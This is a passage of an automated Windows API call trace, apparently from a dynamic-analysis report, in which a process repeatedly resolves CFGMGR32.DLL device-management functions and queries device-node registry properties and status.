returned 0x7ffa786ca490 [0228.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.200] malloc (_Size=0x18) returned 0x196ef0d1f20 [0228.201] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0228.201] malloc (_Size=0x36) returned 0x196ef0d1650 [0228.201] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d1650, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d1650, pulLength=0x67117d608) returned 0x0 [0228.202] free (_Block=0x196ef0d1650) [0228.202] malloc (_Size=0x48) returned 0x196ef0fba40 [0228.202] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x68de8d50, dwHighDateTime=0x1d9eb0c)) [0228.202] SetEvent (hEvent=0x248) returned 1 [0228.258] malloc (_Size=0x18) returned 0x196ef0d20e0 [0228.258] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0228.258] free (_Block=0x196ef0d20e0) [0228.258] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0228.258] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee776258) returned 0x0 [0228.259] free (_Block=0x196ef0d1ae0) [0228.259] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855060 [0228.259] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0228.259] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0228.259] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0228.259] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0228.259] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0228.259] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0228.259] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0228.259] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0228.260] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e5b0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0228.260] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e5b8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0228.260] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0228.261] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855060) returned 1 [0228.261] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.261] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.263] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.263] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.263] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.263] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.263] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.263] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.263] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.264] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.264] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.264] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.264] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.264] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.264] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.264] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.264] malloc (_Size=0x18) returned 0x196ef0d1e60 [0228.265] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0228.265] malloc (_Size=0x48) returned 0x196ef0fb5e0 [0228.265] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x68e81726, dwHighDateTime=0x1d9eb0c)) [0228.265] SetEvent (hEvent=0x248) returned 1 [0228.268] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.268] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.269] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.269] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.269] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.269] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.269] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.269] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.269] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.270] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.270] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.270] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.270] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.270] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.270] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.270] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.271] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.271] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.271] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.271] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.271] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.271] malloc (_Size=0x18) returned 0x196ef0d1b20 [0228.271] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0228.274] malloc (_Size=0x48) returned 0x196ef0fb9a0 [0228.274] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x68ea7926, dwHighDateTime=0x1d9eb0c)) [0228.275] SetEvent (hEvent=0x248) returned 1 [0228.278] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.278] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.279] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.279] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.279] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.279] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.279] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.279] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.279] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.281] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.281] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.281] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.281] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0228.282] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0228.282] malloc (_Size=0x48) returned 0x196ef0fbae0 [0228.282] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x68ecdbda, dwHighDateTime=0x1d9eb0c)) [0228.282] SetEvent (hEvent=0x248) returned 1 [0228.285] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.285] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.285] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.285] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.286] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.286] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.286] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.286] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.286] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.286] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.286] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.287] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.287] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.287] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.287] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.287] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.287] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.287] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.287] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.288] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.288] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.288] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.288] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.288] malloc (_Size=0x18) returned 0x196ef0d1f00 [0228.288] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0228.289] malloc (_Size=0x48) returned 0x196ef0fbb30 [0228.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x68ecdbda, dwHighDateTime=0x1d9eb0c)) [0228.289] SetEvent (hEvent=0x248) returned 1 [0228.292] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.292] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.295] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.295] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.295] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.295] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.295] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.295] malloc (_Size=0x18) returned 0x196ef0d19e0 [0228.295] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0228.296] malloc (_Size=0x48) returned 0x196ef0fbd60 [0228.296] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x68ecdbda, dwHighDateTime=0x1d9eb0c)) [0228.296] SetEvent (hEvent=0x248) returned 1 [0228.301] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.301] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.302] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.302] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.302] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.302] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.302] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.302] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.302] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.303] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.303] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.303] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.303] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.303] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.303] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.303] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.304] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.304] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.304] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.304] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.304] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.304] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.304] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.305] malloc (_Size=0x18) returned 0x196ef0d1b60 [0228.305] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0228.307] malloc (_Size=0x48) returned 0x196ef0fc170 [0228.307] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x68ef3e5c, dwHighDateTime=0x1d9eb0c)) [0228.307] SetEvent (hEvent=0x248) returned 1 [0228.365] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.365] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.365] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.365] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.365] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.368] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0228.368] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x4, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0228.369] malloc (_Size=0x48) returned 0x196ef0fbea0 [0228.369] GetSystemTimeAsFileTime (in: 